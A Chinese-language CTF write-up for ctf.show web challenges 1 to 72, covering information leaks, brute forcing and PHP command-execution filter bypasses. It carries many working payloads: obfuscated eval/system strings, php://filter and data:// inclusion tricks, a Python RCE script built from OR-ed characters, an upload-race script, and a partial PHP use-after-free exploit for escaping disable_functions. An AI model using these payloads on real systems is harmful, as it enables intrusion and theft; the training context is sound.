ctf.show-web-1000题

信息收集

1-20题

web1

右键查看源代码得到flag
ctf.show-web-1000题_第1张图片

web2

禁用了右键直接ctrl+u 打开查看源代码
ctf.show-web-1000题_第2张图片

web3

f12 打开网络,刷新一下页面
ctf.show-web-1000题_第3张图片

web4

发现robots.txt 有东西
ctf.show-web-1000题_第4张图片
ctf.show-web-1000题_第5张图片

web5

提示:phps 源码泄露
url 加index.phps 下载文件
ctf.show-web-1000题_第6张图片

打开文件
ctf.show-web-1000题_第7张图片

web6

提示:解压源码到当前目录
直接想到了/www.zip
下载文件
ctf.show-web-1000题_第8张图片
解压出来fl00g.txt
在这里插入图片描述

打开fl000g.txt 没东西,浏览器访问fl000g.txt
ctf.show-web-1000题_第9张图片

web7

提示:版本控制很重要
输入.git
ctf.show-web-1000题_第10张图片

web8

输入/.svn
ctf.show-web-1000题_第11张图片

web9

提示:发现网页有个错别字?赶紧在生产环境vim改下,不好,死机了
如果我们使用vim 编辑一个文件正在编辑的时候突然电脑关机,会生成一个临时文件.swp
访问index.php.swp
ctf.show-web-1000题_第12张图片

web10

提示:cookie
f12 打开控制台输入document.cookie 获取cookie
ctf.show-web-1000题_第13张图片

web11

提示:域名
使用微步在线打开ctf.show-web-1000题_第14张图片
flag{just_seesee}

web12

提示:公开信息
下拉到最下面发现电话,很有可能会把电话当作密码
ctf.show-web-1000题_第15张图片
url路径加入admin
用户名:admin 密码:372619038
ctf.show-web-1000题_第16张图片
ctf.show-web-1000题_第17张图片

web13

打开文件查看源代码发现pdf 文件
ctf.show-web-1000题_第18张图片
获得后台账号和密码
ctf.show-web-1000题_第19张图片

ctf.show-web-1000题_第20张图片

web14

提示:editor
url: 路径/editor,有存在上传点
ctf.show-web-1000题_第21张图片
点击上传处进入文件空间可以直接访问目录
ctf.show-web-1000题_第22张图片
/var/www/html/nothinghere/fl000g.txt
ctf.show-web-1000题_第23张图片
直接访问/nothinghere/fl000g.txt
ctf.show-web-1000题_第24张图片

web15

提示:邮箱泄露
在最下方找到邮箱
ctf.show-web-1000题_第25张图片
路径加入/admin 进入后台

ctf.show-web-1000题_第26张图片
点击忘记密码,提示密保问题为城市
ctf.show-web-1000题_第27张图片

查找qq 号,找到地址
ctf.show-web-1000题_第28张图片

ctf.show-web-1000题_第29张图片

ctf.show-web-1000题_第30张图片

web16

提示:探针泄露
路径tz.php
点击phpinfo
ctf.show-web-1000题_第31张图片
phpinfo 找到flag
ctf.show-web-1000题_第32张图片

web17

备份英文单词为backup
访问backup.sql
下载文件
ctf.show-web-1000题_第33张图片

web18

查看js 发现 当score>100 的时候返回 unicode 编码
ctf.show-web-1000题_第34张图片
解码
ctf.show-web-1000题_第35张图片

访问110.php
ctf.show-web-1000题_第36张图片

web19

查看源代码
ctf.show-web-1000题_第37张图片

打开aes 解密
ctf.show-web-1000题_第38张图片

得到密码
ctf.show-web-1000题_第39张图片

web20

提示:mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了
输入路径:/db/db.mdb 下载文件
ctf.show-web-1000题_第40张图片

爆破

21-28题

web21

输入账号密码admin 123456 抓包
ctf.show-web-1000题_第41张图片

选定的base64 编码解密一下
ctf.show-web-1000题_第42张图片

爆破选择自定义迭代器配置第一个 账号ctf.show-web-1000题_第43张图片

配置第二个 :
ctf.show-web-1000题_第44张图片

配置第三个密码,使用题目附件密码
ctf.show-web-1000题_第45张图片

设置base64编码
ctf.show-web-1000题_第46张图片
最下面取消url编码这些文件
ctf.show-web-1000题_第47张图片

点击开始攻击

ctf.show-web-1000题_第48张图片

ctf.show-web-1000题_第49张图片

登录
ctf.show-web-1000题_第50张图片

web22

访问http://flag.ctfer.com/index.php
得到flag{ctf_show_web}

web23


error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){        # get 传参token  不能为空
    $token = md5($_GET['token']);     # 传入的值为md5加密
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){   
    # substr截断例如substr(hello,1,1)结果就是e  substr(hello,1,2)结果就是el substr(hello,3,2)结果就是lo
    # 条件加密后的token结果必须满足条件 第1位=第14位=第17位
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
        # intval() # 函数用于取整
        # 条件是 token 第1位+第14位+第17位÷第1位=第31位
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);

}
?>

编写代码
ctf.show-web-1000题_第51张图片
ctf.show-web-1000题_第52张图片

web24

<php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(372619038);             
    if(intval($r)===intval(mt_rand())){
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}

?>

伪随机数mt_srand() 已经固定
直接在线执行下
ctf.show-web-1000题_第53张图片
ctf.show-web-1000题_第54张图片

web25


error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(hexdec(substr(md5($flag), 0,8)));    # hexdec 将16进制转换为10进制
    $rand = intval($r)-intval(mt_rand());  
    if((!$rand)){
        if($_COOKIE['token']==(mt_rand()+mt_rand())){
            echo $flag;
        }
    }else{
        echo $rand;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
}
?>

这里有个判断可以输出 rand变量
我们将 r=0 就可以得到 mt_rand() 的值
ctf.show-web-1000题_第55张图片

使用mt_rand() 种子破解器破解工具
https://github.com/Al1ex/php_mt_seed

进入目录make 编译 一下得到 php_mt_seed
ctf.show-web-1000题_第56张图片
./php_mt_seed 1999799409
得到 mt_srand = 1825113513
ctf.show-web-1000题_第57张图片

要拿flag 还要计算token 的值
3345704867
ctf.show-web-1000题_第58张图片

构造参数
r=1999799409
token=3345704867

ctf.show-web-1000题_第59张图片

web26

输入账号密码发现错误
直接掏出burp 开始爆破
ctf.show-web-1000题_第60张图片

使用web21的字典爆破密码为7758521
ctf.show-web-1000题_第61张图片
登录抓包得到flag
ctf.show-web-1000题_第62张图片

web27

ctf.show-web-1000题_第63张图片

发现有个录取名单,还有个信息查询系统
ctf.show-web-1000题_第64张图片
要查询录取,但是得知道身份证中缺少的8位,这8位为生日
ctf.show-web-1000题_第65张图片

抓包爆破
这里burp 抓不到包,我们自己到浏览器登录一下复制请求头
ctf.show-web-1000题_第66张图片

ctf.show-web-1000题_第67张图片

设置参数
ctf.show-web-1000题_第68张图片

得到真实身份证信息
ctf.show-web-1000题_第69张图片

编码转换一下得到学号密码为身份证
ctf.show-web-1000题_第70张图片
登录得到flag
ctf.show-web-1000题_第71张图片

web28

看url 可疑尝试爆破url
爆破不需要加2.txt 当输入正确的路径时,会自动加载

ctf.show-web-1000题_第72张图片

设置两个都一样
ctf.show-web-1000题_第73张图片
得到flag
ctf.show-web-1000题_第74张图片

命令执行

29-124题

web29


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){   # 正则匹配 有flag 赋值中没有有flag 就会返回$c 内容
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
?>

这里eval 函数可直接执行命令
ctf.show-web-1000题_第75张图片

cat fla?.php 绕过
ctf.show-web-1000题_第76张图片

在这里插入图片描述

web30


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

c=(sy.(st).em)(ls);
ctf.show-web-1000题_第77张图片

c=(sy.(st).em)('cat fla?.ph?');
ctf.show-web-1000题_第78张图片

ctf.show-web-1000题_第79张图片

web31


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

我们将字符串转换为8进制
?c="\163\171\163\164\145\155"("\154\163");

system('ls')
ctf.show-web-1000题_第80张图片
?c="\163\171\163\164\145\155"("\143\141\164\40\146\154\141\147\56\160\150\160");

system('cat flag.php')
ctf.show-web-1000题_第81张图片
在这里插入图片描述

web32


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

使用include 方法 或者require
get:?c=include$_POST["url"]?>
post:url=php://filter/read=convert.base64-encode/resource=flag.php
ctf.show-web-1000题_第82张图片

ctf.show-web-1000题_第83张图片

web33


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

get:?c=include$_POST[url]?>
post:url=php://filter/read=convert.base64-encode/resource=flag.php
和上一关相比,不能使用多了双引号,这个不影响,我们可以直接不加单双引号
ctf.show-web-1000题_第84张图片

web34


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多了:不影响
get:?c=include$_POST[url]?>
post:url=php://filter/read=convert.base64-encode/resource=flag.php

ctf.show-web-1000题_第85张图片

web35


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多了< = 依然不影响
get:?c=include$_POST[url]?>
post:url=php://filter/read=convert.base64-encode/resource=flag.php
ctf.show-web-1000题_第86张图片

web36


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多了 过滤数字,不影响

get:?c=include$_POST[url]?>
post:url=php://filter/read=convert.base64-encode/resource=flag.php
ctf.show-web-1000题_第87张图片

web37


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
}

使用了include包含
使用 data:// 方式
?c=data://test/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
ctf.show-web-1000题_第88张图片

ctf.show-web-1000题_第89张图片

ctf.show-web-1000题_第90张图片

web38


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

和上面方法一样
使用 data:// 方式
?c=data://test/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web39


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

?c=data:text/plain,

web40


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

仔细看发现过滤的是中文的(没有过滤英文的
参考大佬博客

  1. session 方式 修改session 内容为 ls
    ?c=session_start();system(session_id());
    ctf.show-web-1000题_第91张图片

ctf.show-web-1000题_第92张图片
但是要读取flag 的时候出现了问题
原因是php 版本的问题 session_id规定为0-9,a-z,A-Z,中的字符

print_r() 函数用于打印变zhao量,以更容易理解的形式展示

localeconv():是一个编程语言函数,返回包含本地数字及货币信息格式的数组。其中数组中的第一个为点号(.)

pos():返回数组中的当前元素的值。
这里也可以换成current(),作用和pos类似

scandir():获取目录下的文件
scandir('.')      获取当前目录下的文件


通过 pos(localeconv())得到点号

获取当前目录文件
?c=print_r(scandir(pos(localeconv())));
或者
?c=print_r(scandir(current(localeconv())));
ctf.show-web-1000题_第93张图片
读取flag 取出数组中的值


show_source() 读文件
each() 返回数组中当前的键/值对并将数组指针向前移动一步
end() 将数组的内部指针指向最后一个单元
next() 将数组中的内部指针向前移动一位
prev() 将数组中的内部指针倒回一位
array_reverse() 以相反的元素顺序返回数组

因为flag.php 在倒数第二位所以使用next

?c=show_source(next(array_reverse(scandir(current(localeconv())))));

ctf.show-web-1000题_第94张图片

web41


if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

数字字母都过滤了,但是利用或运算进行构造
例如过滤了字母a ,但是没有过滤 32 和 65 ,a 的ascii 编码是97
通过或运算,得到a
32 | 65 = 97 = a
先疑惑排除过滤的,然后在判断异或得到的字符是否为可见字符

使用yu22x 脚本


$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);
import requests
import urllib
import re
from sys import *
if(len(argv)!=2):
    print("="*50)
    print('USER:python exp.py ')
    print("eg:  python exp.py http://ctf.show/")
    print("exit: input exit in function")
    print("="*50)
    exit(0)
url=argv[1]

#生成可用的字符
def write_rce():
    result = ''
    preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'
    for i in range(256):
        for j in range(256):
            if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
                k = i | j
                if k >= 32 and k <= 126:
                    a = '%' + hex(i)[2:].zfill(2)
                    b = '%' + hex(j)[2:].zfill(2)
                    result += (chr(k) + ' ' + a + ' ' + b + '\n')
    f = open('rce.txt', 'w')
    f.write(result)
    
#根据输入的命令在生成的txt中进行匹配
def action(arg):
    s1=""
    s2=""
    for i in arg:
        f=open("rce.txt","r")
        while True:
            t=f.readline()
            if t=="":
                break
            if t[0]==i:
                s1+=t[2:5]
                s2+=t[6:9]
                break
        f.close()
    output="(\""+s1+"\"|\""+s2+"\")"
    return(output)

def main():
    write_rce()
    while True:
        s1 = input("\n[+] your function:")
        if s1 == "exit":
            break
        s2 = input("[+] your command:")
        param=action(s1) + action(s2)
        data={
            'c':urllib.parse.unquote(param)
            }
        r=requests.post(url,data=data)
        print("\n[*] result:\n"+r.text)

main()

ctf.show-web-1000题_第95张图片

ctf.show-web-1000题_第96张图片

web42


if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}
  /dev/null 			# 是一个空设备,一切写入的东西都会丢弃
  2>&1                # 将错误输出绑定到标准输出上。因为错误输出绑定到空设备,所以标准输出也为空
# >/dev/null 2>&1 意思就是写入的内容会永远消失

当我们使用?c=ls 的时候,结果就是 ls > /dev/null 2>&1
ls 写入到空设备内容永远消失
但是我们只需要加上; ls; > /dev/null 2>&1
结果就是两条命令了
ctf.show-web-1000题_第97张图片

ctf.show-web-1000题_第98张图片

查看源代码
ctf.show-web-1000题_第99张图片

web43


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了cat 和 ;
绕过cat : tac
绕过; 使用 | || && & ; %0a (换行符) %0d (回车符号)
ctf.show-web-1000题_第100张图片

ctf.show-web-1000题_第101张图片

web44


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了个flag

flag.php 替换为 fla?.php
ctf.show-web-1000题_第102张图片

web45


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了空格
空格替换为 %09
ctf.show-web-1000题_第103张图片

web46


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

使用上一关的方法
tac%09fla?.php%0a
ctf.show-web-1000题_第104张图片

web47


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

tac%09fla?.php%0a

ctf.show-web-1000题_第105张图片

web48

tac%09fla?.php%0a


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

ctf.show-web-1000题_第106张图片

web49

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=tac%09fla?.php%0a

ctf.show-web-1000题_第107张图片

web50


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了%号,之前的payload 不能使用了
?c=tac<>fla\g.php||
?c=tac
ctf.show-web-1000题_第108张图片

web51

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了一个tac,ta’'c就可以绕过
?c=ta''c
ctf.show-web-1000题_第109张图片

web52


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\, $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了两个< 但是放了$
就可以使用 ${IFS}

?c=ta''c${IFS}fla''g.php||

ctf.show-web-1000题_第110张图片
假flag 似乎
ls${IFS}../../../|| 发现flag 在这个目录下
ctf.show-web-1000题_第111张图片
?c=ta''c${IFS}../../../fla''g||

ctf.show-web-1000题_第112张图片

web53


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\, $c)){
        echo($c);
        $d = system($c);
        echo "
"
.$d; }else{ echo 'no'; } }else{ highlight_file(__FILE__); }

和上一题方法一样但是这题不用结尾
?c=ta''c${IFS}fla''g.php

ctf.show-web-1000题_第113张图片

web54


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\, $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

过滤掉了大部分关键字
方法一:利用paste查看文件内容
?c=paste${IFS}fla?.php
方法二:使用cat 因为cat 在/bin 目录 使用/bin/?at 让匹配
?c=/bin/?at${IFS}f???????
方法三:使用grep 将带有show 字样的一行打印出来
?c=grep${IFS}show{${IFS}fla?.php

ctf.show-web-1000题_第114张图片

web55


// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\, $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

使用base64 方式 /bin/base64
?c=/???/????64 ????.???
/bin/base64 flag.php
ctf.show-web-1000题_第115张图片

web56


// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\, $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

即过滤了数字又过滤了字母
参考文章使用无字母数字方式上传shell
利用php的特性:上传文件post包,php会将上传的文件保存在临时的文件夹下 /tmp/phpxxxxxx。文件名最后的6个字符是随机的大小写字母,最后一个字符大概率是大写字母
比如:我们上传了一个php文件,内容为ls,就会保存到/tmp目录
ctf.show-web-1000题_第116张图片

文件名为phpgsawdZ
我们使用linux 的bash 命令,执行文件内容
. /tmp/phpgsawdZ
直接执行文件内容的语句
在这里插入图片描述

然后我们就可以使用,glob 通配符的方法
原本是
. /???/????????[A-Z]
但是过滤了字母所以使用
. /???/????????[@-[]
ctf.show-web-1000题_第117张图片

先在本地试试,确认可以执行
ctf.show-web-1000题_第118张图片

言归正传,我们先上传文件,直接使用脚本上传

这里写脚本要用循环,原因上面也说了,这里在提醒一下,文件上传后只有概率 最后一个字母是大写,所以使用循环试

# -- coding: utf-8 --
import requests

url = "http://d39f5c22-b131-4e92-8495-eb19e78f98f8.challenge.ctf.show/?c=. /???/????????[@-[]"
file = {
    'file': ("1.txt","cat flag.php")
}
while True:
    r = requests.post(url,files=file)
    if "ctfshow" in r.text:
        print(r.text)
        break

ctf.show-web-1000题_第119张图片

web57


// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

把?- 一些东西过滤了并且提示flag 为 36.php,但是他已经写好system 和cat了,只需要构造 36
linux shell 命令 可以使用 $ (构造数字

$(())     # 代表做一次运算,因为里面为空,也表示值为0
$((~$(())))     # 对0 取反 为-1
$(($((~$(())))$((~$(())))))     # (-1)+(-1)为-2
$((~$(($((~$(())))$((~$(())))))))     # 对-2 取反得到 1
$((~$(($((~$(())))$((~$(())))$((~$(())))))))  # 值为2
$((   ~$((  $((~$(()))) $((~$(()))) $((~$(()))) $((~$(())))  ))  )) # 值为3

36 就是

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
写个脚本
ctf.show-web-1000题_第120张图片

ctf.show-web-1000题_第121张图片

web58


// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

post 传参,system 使用不了,直接使用show_source 读取文件
ctf.show-web-1000题_第122张图片

web59

和上一题一样
ctf.show-web-1000题_第123张图片

web60

ctf.show-web-1000题_第124张图片

web61

ctf.show-web-1000题_第125张图片

web62

ctf.show-web-1000题_第126张图片

web63

ctf.show-web-1000题_第127张图片

web64

ctf.show-web-1000题_第128张图片

web65

ctf.show-web-1000题_第129张图片

web66


// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

show_source() 无法使用了
使用highlight_file()
ctf.show-web-1000题_第130张图片

提示flag不在这

print_r()     # 打印内容
scandir()     # 返回指定目录中的文件

print_r(scandir('/')); # 打印根目录文件
发现flag.txt
ctf.show-web-1000题_第131张图片
ctf.show-web-1000题_第132张图片

web67

使用print_r出现告警,print_r() 被禁用

发现var_dump() 可以使用
ctf.show-web-1000题_第133张图片
ctf.show-web-1000题_第134张图片

web68

打开没有代码提示,highlight_file() 被警用
先查看flag 位置
ctf.show-web-1000题_第135张图片
使用include,require 都可以
ctf.show-web-1000题_第136张图片

web69

使用var_dump() 发现被禁用

使用var_export()
ctf.show-web-1000题_第137张图片
ctf.show-web-1000题_第138张图片

web70

c=var_export(scandir('/'));
ctf.show-web-1000题_第139张图片

ctf.show-web-1000题_第140张图片

web71

使用之前的语句发现满屏问号
ctf.show-web-1000题_第141张图片

看代码可以发现,将所有的数字和字母都替换成了 ?号
ctf.show-web-1000题_第142张图片
在后面加个exit(); 直接进行退出
ctf.show-web-1000题_第143张图片
c=include("/flag.txt");exit();

web72

使用刚刚的payload 提示没有flag.txt
ctf.show-web-1000题_第144张图片
做不出来,看了大佬博客,使用

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

列出根目录下的文件,flag 文件是 flag0.txt
ctf.show-web-1000题_第145张图片
原本想使用上一题的payload,却发现include 函数被禁止使用
使用网上给的exp

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

